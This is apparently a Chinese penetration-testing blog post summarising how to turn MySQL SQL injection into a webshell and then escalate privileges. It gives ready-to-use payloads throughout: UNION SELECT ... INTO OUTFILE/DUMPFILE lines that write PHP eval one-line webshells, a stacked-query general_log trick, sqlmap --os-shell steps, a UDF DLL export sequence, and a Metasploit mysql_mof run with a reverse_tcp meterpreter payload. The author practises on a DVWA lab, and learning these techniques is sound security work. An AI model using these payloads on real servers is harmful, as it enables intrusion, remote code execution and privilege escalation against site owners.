SQL getshell

最近刚刚入职,师傅叫我第一熟悉的就是SQL getshell,常见的两种方法还是都知道的,只是没具体去实现过,这里做个总结。

首先要明确的是sql注入getshell的方式:

getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现.前文所说的两种方法即是Webshell提权,后两者会有一定的限制,这里阐述原理。

Webshell提权:

1.into outfile

利用条件:

web目录具有写的权限,能够使用单引号

知道网站的绝对路径

my.ini这个配置文件中有一项secure_file_priv没有具体值(注意不是空或者NULL)

secure_file_priv:secure_file_priv是用来限制load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限 ,即就是拿来限制内外读写文件的一个配置

关于secure_file_priv的相关:

当该配置的值为null时,mysqld不允许导入和导出

当该配置的值为/tmp/时,mysqld的导入和导出只能发生在/tmp/目录下(这里/tmp/表示限定目录,即我们自己设定的目录)

当该配置的值为没有具体值时。mysqld的导入和导出没有限制

所以为了我们能够使用into outfile函数写马进去,就需要将该配置设置为没有值,设置的方法如下:

1)看secure-file-priv参数的值:show global variables like ‘%secure%’;若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘ ‘ 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马

以上操作建议使用navicat或者其他数据库可视化软件进行操作。

写入Webshell:

以上的secure_file_priv配置设置完成好,再满足我们具有写的权限和知晓绝对路径,就能尝试用sql语句写入一句话木马。这里方便测试,建议使用dvwa

测试注入点以及判断列数这里跳过,都是老生常谈的操作,加上因为是我们自己搭的靶场,所以我们也知晓自己的路径

所以我们可以写入一句话:

1’ union select 1,”“ into outfile ‘E:\xxxxx\phpstudy\dvwa\test.php’ #

这里路径中要使用双斜杠,第一个斜杠是转义的意思,不然无法解析,关于字符串的解析不一定只出现在web服务器里,其他情况下也有可能出现,而且windows采用的是单个斜杠的路径分割形式,导致我们对文件路径进行解析的时候发生不必要的错误,所以多加个斜杠进行转义。

PS:这里我把马传进去的时候,我是用蚁剑连的,意外的发现以GET方式可能会被过滤,POST和REQUEST方式没有被过滤。

2.os-shell原理

os-shell就是sqlmap的一个功能,为存在的注入点提供一个可交互的webshell,大致原理就是将脚本插入数据库中,然后生成相应的文件,获取shell就能执行相关命令。其实原本–os-shell就是使用udf(用户自定义函数)获取webshell,也是通过into outfile向服务器写入两个文件,一个可执行系统命令,一个进行上传文件。

利用条件:

要求为DBA数据库管理员权限(–is-dba phpstudy搭建的一般为DBA)

php的GPC关闭即主动转义的功能关闭,可以使用单双引号

(不使用十六进制即0x编码),知道网站的绝对路径,而且文件不能覆盖写入,所以文件必须为不存在

–secure-file-priv没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

PS:secure_file_priv为只读参数,不能使用set global命令修改,需要在my.ini加入后重启Mysql才可以

1
2
3
4
5
6
7
8
9
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)
以下1.php 2.php就是举例,不是实际文件名
1.php 用来执行系统命令

2.php 用来上传文件

secure_file_priv没有具体值(在mysql/my.ini中查看)

magic_quotes_gpc:(PHP magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时)

os-shell的具体实现步骤:

1
2
3
4
5
6
7
8
1.启动sqlmap:sqlmap -r test.txt --os-shell
2.选择语言(ASP,ASPX,JSP,PHP)首次使用默认asp语言
3.输入绝对路径
4.写木马文件
4.1:pwd //查看当前路径
4.2:echo '<?php @eval($_POST['a']); ?>'>> 123.php //将木马写入123.php
4.3:cat 123.php //打印123.php文件的内容
5.用webshell连接

以上大致就是Webshell的两种方式,但是我们大多数都不知道路径即就是绝对路径,那产生路径问题的原因是?

大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写

所以我们可以采用dnslog注入,就是dns外带查询,通过查询相应的dns解析记录,来获取我们想要的数据

PS:在实际场景中,盲注情况比较多,而联合查询的结果只会为了提供真与假,无法给予详细获取,通过手工测试需要花费大量时间,而使用sqlmap直接去跑数据也有可能触发waf或者被网站封ip,影响测试进度,所以dnslog注入就应运而生

这里我们要使用一个load_File()函数,该函数会读取一个文件并将其内容作为字符串返回

语法:load_file(filename),其参数为文件的完整绝对路径

其满足条件为:

1.文件处于服务器上

2.具有该文件的读权限,该属性和secure_file_priv状态相关

3.文件必须所有人都可见,且字节大小小于最大限度

除了上述的Webshell,还有udf以及mof,以及通过日志写入

这里要引入一种不常见的注入方式,堆叠注入,如果对buu里的web有过练习,应该是有印象的

堆叠注入写shell(日志注入)

  • 主要是利用到了Mysql的日志来进行写shell,payload如下:set global general_log = "ON";set global general_log_file='C:/xxx/www/muma.php';select '<?php eval($_POST[cmd]);?>';
  • 然后用webshell管理工具连接,就可以进行攻击

如果说联合查询就能够写入shell,那当然是最好不过了

union select 1,'<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/test.php' #

union select 1,'<?php eval($_POST[1]);?>' INTO dumpfile '/var/www/html/test.php'#

这里对于outfile和dumpfile有一点小区分:

1
2
3
4
5
6
7
8
9
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可hex

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个\

outfile函数可以导出多行,而dumpfile只能导出一行数据;

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

udf提权:

udf(user defined function)即用户自定义函数,是我们对数据库功能的一种自定义扩展,经过这个可以实现在mysql无法实现的功能

条件:

1.sqlmap的udf动态链接库文件:sqlmap根目录/data/udf/mysql

2.一般来说动态链接库为了防止被误杀都会进行编码处理,不能直接使用,所以我们可以用sqlmap自带的解码工具cloak.py来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py

以下为举例payload:

1
2
3
4
5
create table udfeval(shellcode longblob);    //创建表

insert into udfeval values(load_file('F:/udf.dll')); //在表里插入信息

select shellcode from udfeval into dumpfile 'C:\\windows\udf.dll'; //将表里面的信息导出

以上方法都需要知道secure_file_priv的值,那我们可以通过–sql-shell来知道输入sql语句select@@secure_file_priv提示为NULL,所以就会出现无法继续的错误

mof提权

M0F提权原理它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

条件:

1
2
3
4
5
Win sever 03以后无法使用

Mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure-file-priv参数不为null

因为mof文件每五秒就会执行一次,而且是系统权限,我们可以通过load_file将文件写入/wbem/mof里,然后系统每隔五秒就会执行我们上传的mof。我们可以通过mof里自己编写的脚本,来让系统执行命令,进行提权
以下为我参考的相关资料:(vbs脚本)

1
2
3
4
5
6
7
8
9
10
11
MSF脚本自动化
use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

缺点:攻击的选择范围较小,而且清理痕迹可能会比较麻烦